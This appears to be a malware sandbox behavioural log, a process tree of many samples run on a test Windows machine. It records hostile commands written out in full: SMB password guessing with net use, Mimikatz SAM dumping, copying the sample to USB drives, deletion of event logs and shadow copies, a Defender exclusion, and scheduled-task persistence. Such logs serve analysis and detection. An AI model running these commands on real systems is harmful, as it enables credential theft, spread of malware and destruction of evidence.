C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.173.23\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " try { Invoke-Mimikatz -Command '\"privilege::debug\" \"token::elevate\" \"lsadump::sam\" \"exit\"' -ErrorAction SilentlyContinue } catch {} "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-ChildItem -Path \"$env:SYSTEMROOT\System32\winevt\Logs\" -Recurse | Remove-Item -Force Get-ChildItem -Path \"$env:SYSTEMROOT\Logs\" -Recurse | Remove-Item -Force "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ welcome /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ passw0rd /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ administrator /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 1234 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ test /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ admin /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ password /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 123456 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ qwerty /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ letmein /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ welcome /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ passw0rd /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ administrator /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ test /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ admin /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ password /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ 123456 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ qwerty /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ letmein /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ welcome /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ passw0rd /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ administrator /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ 1234 /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ test /user:administrator4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.58.183\IPC$ 1234 /user:user4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ admin /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ password /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ 123456 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ qwerty /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ letmein /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ welcome /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ passw0rd /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ administrator /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ 1234 /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ test /user:admin4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ admin /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ password /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ 123456 /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ qwerty /user:guest4⤵
-
-
C:\Windows\system32\net.exenet use \\10.127.143.11\IPC$ letmein /user:guest4⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe powershell -Command " Get-WmiObject -Class Win32_Volume | Where-Object {$_.DriveType -eq 2} | ForEach-Object { $drive = $_.DriveLetter if ($drive) { $tempFile = [System.IO.Path]::GetTempFileName() + \".exe\" Copy-Item -Path \"C:\Users\Admin\Desktop\Red-Flaged\1ea37e077e6b2463b8440065d5110377e2b4b4283ce9849ac5efad6d664a8e9e.exe\" -Destination $tempFile -Force Copy-Item -Path $tempFile -Destination \"$drive\svchost.exe\" -Force Remove-Item -Path $tempFile -Force } } "4⤵
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-07-15_9fdd329535a395b3287bf94308c76785_elex_stealc_stop_tofsee_upatre.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-07-15_9fdd329535a395b3287bf94308c76785_elex_stealc_stop_tofsee_upatre.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\szgfw.exe"C:\Users\Admin\AppData\Local\Temp\szgfw.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-05_d1c0f450fd12161c126de8f17a8c1810_cobalt-strike_coinminer_dosia_luca-stealer_njrat_poet-rat_quasar-rat_snatch.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-05_d1c0f450fd12161c126de8f17a8c1810_cobalt-strike_coinminer_dosia_luca-stealer_njrat_poet-rat_quasar-rat_snatch.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-10_423504692acf78cecd61922d89b87a1d_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-10_423504692acf78cecd61922d89b87a1d_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat.exe"3⤵
- Executes dropped EXE
- Unexpected DNS network traffic destination
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-11_895016d46d81fa30da9122e4abab6660_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-11_895016d46d81fa30da9122e4abab6660_amadey_cobalt-strike_elex_luca-stealer_lynx_njrat.exe"3⤵
- Downloads MZ/PE file
- Drops startup file
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update1.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Liu5GgJiKiKqe2Qs\svchost.exe"C:\Users\Admin\AppData\Roaming\Liu5GgJiKiKqe2Qs\svchost.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; Add-MpPreference -ExclusionPath 'C:\'"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update2.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\v62LtSK\vshost.exe"C:\Users\Admin\AppData\Local\Temp\\v62LtSK\vshost.exe"5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.execmd /c timeout /t 3 /nobreak & rd /s /q "C:\Users\Admin\AppData\Local\Temp\v62LtSK"6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout /t 3 /nobreak7⤵
- Delays execution with timeout.exe
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update3.exe"4⤵
- Executes dropped EXE
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall show allprofiles state5⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall show allprofiles state6⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
-
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update4.exe"4⤵
- Drops startup file
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update5.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update5.exe"4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update5.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\update5.exe"5⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_66b597d27d0554b1504430138369859b_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat_smoke-loader.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_66b597d27d0554b1504430138369859b_amadey_cobalt-strike_darkgate_elex_luca-stealer_lynx_njrat_smoke-loader.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_6ab017c1b7d68321880fed7736122a20_cobalt-strike_conti.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_6ab017c1b7d68321880fed7736122a20_cobalt-strike_conti.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_9e11b0e463c9998ddbf018922648ef7e_amadey_cloudeye_elex_emotet_glassworm_hacktools_icedid_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_9e11b0e463c9998ddbf018922648ef7e_amadey_cloudeye_elex_emotet_glassworm_hacktools_icedid_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\cccbembg\eremzhg.exe4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 55⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\cccbembg\eremzhg.exeC:\Windows\cccbembg\eremzhg.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_a787c0932def56cc7b85e6888e67bb87_amadey_elex_smoke-loader_stealc_stop_vidar.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-12_a787c0932def56cc7b85e6888e67bb87_amadey_elex_smoke-loader_stealc_stop_vidar.exe"3⤵
- Executes dropped EXE
- Maps connected drives based on registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025-11-13_5dce91e6d4ecc2af605e2eaf5537cb90_amadey_cloudeye_elex_emotet_glassworm_hacktools_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe"C:\Users\Admin\Desktop\Red-Flaged\2025-11-13_5dce91e6d4ecc2af605e2eaf5537cb90_amadey_cloudeye_elex_emotet_glassworm_hacktools_mimikatz_qilin_redline-stealer_remcos_rhadamanthys_smoke-loader_stealc_wannacry.exe"3⤵
- Executes dropped EXE
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\hentai.exeC:\Users\Admin\AppData\Local\Temp\hentai.exe4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ebwaceqm\elriegs.exe4⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 55⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\ebwaceqm\elriegs.exeC:\Windows\ebwaceqm\elriegs.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\hentai.exeC:\Users\Admin\AppData\Local\Temp\hentai.exe6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\2025_Cotizacion Noviembre.exe"C:\Users\Admin\Desktop\Red-Flaged\2025_Cotizacion Noviembre.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Red-Flaged\2128a68f2140e72e8cf42fae54a66f8eb228a5393744237cf2a04c72d0310188.exe"C:\Users\Admin\Desktop\Red-Flaged\2128a68f2140e72e8cf42fae54a66f8eb228a5393744237cf2a04c72d0310188.exe"3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- Drops autorun.inf file
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Users\Admin\Desktop\Red-Flaged\374ef83de2b254c4970b830bb93a1dd79955945d24b824a0b35636e14355fe05.exe"C:\Users\Admin\Desktop\Red-Flaged\374ef83de2b254c4970b830bb93a1dd79955945d24b824a0b35636e14355fe05.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\WinSocket\384ef93de2b264c4980b930bb93a1dd89966946d24b924a0b36737e14366fe06.exeC:\Users\Admin\AppData\Roaming\WinSocket\384ef93de2b264c4980b930bb93a1dd89966946d24b924a0b36737e14366fe06.exe4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe5⤵
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\3a252ac37d78baad0a81242c0cb2bd68208c12267aa87d3cd3c5d594f1de27a5.exe"C:\Users\Admin\Desktop\Red-Flaged\3a252ac37d78baad0a81242c0cb2bd68208c12267aa87d3cd3c5d594f1de27a5.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A9F6\D4FB.bat" "C:\Users\Admin\AppData\Roaming\Authhost\ageneMas.exe" "C:\Users\Admin\Desktop\RED-FL~1\3A252A~1.EXE""4⤵
-
C:\Windows\SysWOW64\cmd.execmd /C ""C:\Users\Admin\AppData\Roaming\Authhost\ageneMas.exe" "C:\Users\Admin\Desktop\RED-FL~1\3A252A~1.EXE""5⤵
-
C:\Users\Admin\AppData\Roaming\Authhost\ageneMas.exe"C:\Users\Admin\AppData\Roaming\Authhost\ageneMas.exe" "C:\Users\Admin\Desktop\RED-FL~1\3A252A~1.EXE"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe7⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
-
-
-
-
C:\Users\Admin\Desktop\Red-Flaged\3d0edacb6d58c9674119460f71e535a1dd2566845b0f8a6bc97185b1ff9f3bb9.exe"C:\Users\Admin\Desktop\Red-Flaged\3d0edacb6d58c9674119460f71e535a1dd2566845b0f8a6bc97185b1ff9f3bb9.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4652 -s 21004⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\C0DE.bi1"2⤵
-
C:\Windows\system32\nslookup.exenslookup myip.opendns.com resolver1.opendns.com3⤵
-
-
-
C:\Windows\system32\cmd.execmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\C0DE.bi1"2⤵
-
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:32⤵
-
-
C:\Users\Admin\AppData\Local\Forename\MatrixElect64.exe"C:\Users\Admin\AppData\Local\Forename\MatrixElect64.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\gyaoyc.exeC:\Windows\SysWOW64\gyaoyc.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\Liu5GgJiKiKqe2Qs\svchost.exeC:\Users\Admin\AppData\Roaming\Liu5GgJiKiKqe2Qs\svchost.exe1⤵
- Executes dropped EXE
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
-
C:\Users\Admin\AppData\Roaming\Authhost\ageneMas.exeC:\Users\Admin\AppData\Roaming\Authhost\ageneMas.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\ebwaceqm\elriegs.exeC:\Windows\ebwaceqm\elriegs.exe1⤵
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Indicator Removal: Clear Persistence
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\TEMP\hentai.exeC:\Windows\TEMP\hentai.exe2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\ebwaceqm\bnqfgoopxfnjjkd3891.exeC:\Windows\ebwaceqm\bnqfgoopxfnjjkd3891.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks /delete /tn * /f3⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks /delete /tn * /f3⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks /delete /tn * /f3⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks /delete /tn * /f3⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c schtasks /delete /tn * /f3⤵
- Indicator Removal: Clear Persistence
-
C:\Windows\SysWOW64\schtasks.exeschtasks /delete /tn * /f4⤵
-
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static delete all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "eezaupmnz" /ru system /tr "cmd /c C:\Windows\Fonts\elriegs.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "eezaupmnz" /ru system /tr "cmd /c C:\Windows\Fonts\elriegs.exe"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=FuckingBastards policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
